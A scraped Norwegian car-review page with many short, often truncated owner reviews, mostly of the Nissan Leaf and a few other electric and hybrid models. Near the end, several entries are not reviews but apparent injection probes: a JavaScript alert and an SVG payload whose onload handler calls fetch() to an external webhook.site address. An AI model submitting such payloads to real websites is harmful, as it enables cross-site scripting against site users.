Nissan Leaf (2014)

Bilen var spennende og ky, den første virkelige personbilen. Fem seter i skinn gav god komfort fornyelse familien. Utstyrt med god lydplanke. Relativt god lydisolering og dermed lite kjørestøy. Kun

Nissan Leaf (2014)

Kjempebra bil. Tilfredsstiller vårre behov..

Nissan Leaf (2014)

Fornøy med med vår Nissan leaf. God plass til og være en småbil. billig i drift og Nissan har vært flinke til og følge opp dei små tingene som har dukket opp.

Nissan Leaf (2014)

God og driftsikker bil med et litt spesielt utseende. KJørte over 80k km før den ble solgt uten noen større problemer. Ingen merkbar reduksjon i batterikapasitet. Bilen bl hurtigladet over 260 gang

Nissan Leaf (2014)

Veldig fornøyd

Nissan Leaf (2014)

Bilen er god nok som bil nr 1, men ønskelig med mer batterikapasitet

Nissan Leaf (2014)

Kjempe bra bil.Veldig godt varmeapparat.Greit å kunne slå på varmen med telefonen og komme til varm bil med varmt ratt.Litt kort kjørelengde ca 13mil på vinteren.

Nissan Leaf (2014)

Langt bedre erfaringer enn forventet.

Nissan Leaf (2014)

Beste bilen jeg har hatt.

Nissan Leaf (2014)

Meget økonomisk og driftssikker. 70 000 km på to år, ingen feil eller problemer! Godt med utstyr.

Nissan Leaf (2014)

Fantastisk bil.

Nissan Leaf (2014)

Meget bra bruksbil for pendling til jobb. Desidert den rimeligste løsning for daglig bilkjøring til og fra alle aktiviteter i hjemkommunen. Trodde at dette skulle bli bil nr. 2 da den ble kjøpt, me

Nissan Leaf (2014)

Bilen er lettkjørt, billig i drift, og har vært helt feilfri. Fungerer godt i hverdagen.

Nissan Leaf (2014)

Ok bil

Nissan Leaf (2014)

Ikke den vakreste bilen, men god, trofast og komfortabel. På grunn av driftsikkerheten er det ikke mange utgifter utover årlig service (som er dyr hos merkeforhandler, i og med at den stort sett see

Nissan Leaf (2014)

Jeg er veldig godt fornøyd med min Leaf, og kan ikke tenke meg å gå tilbake til fossilbil.

Nissan Leaf (2014)

Veldig fornøyd så langt.

Nissan Leaf (2014)

Mini Mercedes er den beste oppsummeringen av Nissan Leaf. Den kjennes som en Merce fra 90 tallet. Komfortabel og solid. Men den koster knapper og glansbilder å holde i drift.

Nissan Leaf (2014)

Nissan Leaf er en praktisk elbil som er behagelig å kjøre. Grei varme om vinteren. Er du ute etter sportslige egenskaper så kjøper du noe annet. Fordelen med å kjøre Nissan Leaf er at du sitter

Nissan Leaf (2014)

Ikke verdens peneste bil, ei heller utstråler den krefter og testosteron, men det ser du ikke når du kjører. Kjøpte denne for å bruke til/fra jobb. 7 mil går greit selv i snø og minus 20. Ble f

Nissan Leaf (2014)

Utruleg stygg å sjå på, men det er heldigvis eg som sit inni bilen og slepp å sjå han sjølv! Gromt god å køyre sjølv utan gromlydar. Gode sete, mykje plass, kjapp respons, og flott 360 grader

Nissan Leaf (2013)

Beste bilen jeg har hatt, kjøpt ny i 2013, passert 225000km uten et eneste feilslag og fortsatt bra batterikapasitet med 9 av 12 streker. God og kjøre, god på glatta.

Nissan Leaf (2013)

Det er den beste bilen jeg har hatt på 25 år med tanke på eiekostnader og driftsutgifter. Det er bil nr.1 , ikke nr.2 som mange synes om en el.bil. Sverger til Volvo s90 som cruiser men Leafen er e

Nissan Leaf (2013)

Dersom du bare trenger en bybil er dette bilen å kjøpe brukt nå. Får den billig og batteriene ser ut til å vare like lenge som bilen.

Nissan Leaf (2013)

Et par idiotiske ting som sittestillingen, der det ikke er mulig å justere rattet nærmere degmog du sitter som i en fransk bilnfra 80 tallet og at du må trykke godta for at skjermen skal begynne å

Nissan Leaf (2013)

Enkel grei bil

Nissan Leaf (2013)

Helt ok

Nissan Leaf (2013)

Bilen er 2.gen og har alle strekene på batteriet. Den er usa-import, det gjør den billigere, men gjør også at den ikke har appstyring av lading og varming. Den har laveste utstyrsnivå, men savner

Nissan Leaf (2013)

Var litt usikker ved kjøpet, ettersom jeg har betalt for å bruke bil i jobben - det var det ingen grunn til. Kjører fra Bergen til Sogn og Stavanger på jobb, bilen bringer meg alltid dit jeg vil,

Nissan Leaf (2013)

Veldig fornøyd med min Leaf. Den er nå ljørt 71000 km og absolutt ingen ting å utsette :-) Veldig trofast og ingen skuffelser :-)

Nissan Leaf (2013)

Kjekk liten bil som er god å kjøre. litt kort rekkevidde. Hadde den hatt 50 mil som Ampera E som jeg ''hadde'' i bestilling kunne jeg hatt den lenger en de 3 år og 70 tusen km jeg har hatt den..

Nissan Leaf (2013)

Veldig god bil. Det eneste som har måttet byttes på ca 70 000 km er vindusviskerne.

Nissan Leaf (2013)

Veldig fornøyd med Leaf'en. Lettkjørt med god nok rekkevidde til det meste. Trivelig vil som virker å være solid sammenskrudd. Nissan i Kongsberg er veldig imøtekommende så service gikk veldig s

Nissan Leaf (2013)

En planlagt bil nummer 2 som raskt ble bil nummer 1. Jeg pendler drøye 6 mil hver vei 5 dager i uken, og kan lade på jobb, så dette er store drivstoffkostnader spart for vår del.

Nissan Leaf (2013)

dårlig rekkevide ved -5 grader og kaldere

Nissan Leaf (2013)

Grei bil, men stygg som f+%+

Nissan Leaf (2013)

Jeg har kjørt min bil over 100000 problemfrie km siden den var ny. Bilen har aldri vært på service, men allikevel funker alt mye bedre enn forventet. Det er deilig å slippe å tenke på motorservi

Nissan Leaf (2013)

Fantastisk billig bil å eie. Utsøkt kvalitet etter 4år og 40000 km. Ingen reklamasjoner kun service utført i løpet av 4år

Nissan Leaf (2013)

Veldig fornøyd med bilen utenom rekkevidde når Nissan lovet 200km. Har problem med bremse som lager stor lyd når jeg rygger. Nissan klarte ikke å fikse feilen når jeg leverte bilen til service. V

Nissan Leaf (2013)

10. Jeg får nesten orgasme av å kjøre min søte leaf. Akselerer mye heftigere enn min manns svære kuga

Nissan Leaf (2013)

Nissan har ikke lagd en bra elbil.... De har lagd en bra bil.

Nissan Leaf (2013)

En svært god elbil. Jeg kan trygt anbefale den. Kjøp den faceliftede med 199km teoretisk rekkevidde (eller den med 250km) for å få med noen nødvendige forbedringer fra førsteutgaven. Rekkevidden

Nissan Leaf (2013)

Kjørt Leaf siden 2013, og har lite å klage på. Bilen er god å kjøre, men for meg som er svær er setene litt smale. Bortsett fra dette en komfortabel bil. Stillegående, rask nok i det registeret

Nissan Leaf (2013)

God kvalitet og god å kjøre. Batteriet er ikke merkbart svekket og får full score hos Nissan etter 90.000 km. Praktisk rekkevidde er 10 mil ca med 24 kWh batt. Utseende trekker ned...

Nissan Leaf (2013)

Anbefales på det varmeste. Den er ikke pen men har masse kvaliteter som veier opp. De merkelige frontlyktene eliminerer vindstøy fra sidespeil. Greit det i en "lydløs" elbil

Nissan Leaf (2013)

Anbefales. Jeg har egentlig bildilla, så jeg føyer meg inn i rekken av folk som sier at den er stygg. Det er den. Men, pålitelig og rimelig bilhold med løsninger som gjør hverdagen litt bedre vei

Nissan Leaf (2012)

Kjøpt i '16 som et eksperiment - klarer vi oss med elbil som bil #2? - og så ville alle egentlig kjøre denne. Fantastisk kjøp som en rimelig, praktisk, veldesignet bil av høy kvalitet. Fikk oss t

Nissan Leaf (2012)

Den har vært helt super til vår bruk. Masse småkjøring til jobb, fotballtreninger, butikken, til venner o.l. Rekkevidden har blitt redusert, men den er fremdeles veldig nyttig som en bil nr 2 for

Nissan Leaf (2012)

Fantastisk bil nr 2 som raskt overtok for dieseldyret. Driftssikker og billig bilhold. På langtur tar det for lang tid å lade pga ladekøer og langsom lading selv med hurtigladere - så da får dies

Nissan Leaf (2012)

Veldig greit med ett gir der trekkraften er lik i alle hastigheter. Pålitelig bil som går veldig billig, men har kort rekkevidde. Ypperlig til korte turer, men vi har brukt den mye til kjøring der

Renault 5 E-Tech (2025)

Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te

Citroën e-C4 (2025)

Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve

Aston Martin DB9 GT (2017)

alert("total")

Aston Martin DB9 GT (2017)

totalvurderingtest

Abarth 500e (2024)

Abarth 500e (2024)

Abarth 500e (2024)

xxxfooo4

Abarth 500e (2024)

<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>

Volvo EX40 (2026)

Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass

Ford Explorer EV (2025)

Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.

Ford Kuga (2021)

Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring

Hongqi E-HS9 (2022)

Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!

Mercedes-Benz EQC (2022)

Topp komfort og driftsikker.

Polestar 2 (2022)

God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h

Mercedes-Benz GLE (2020)

Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km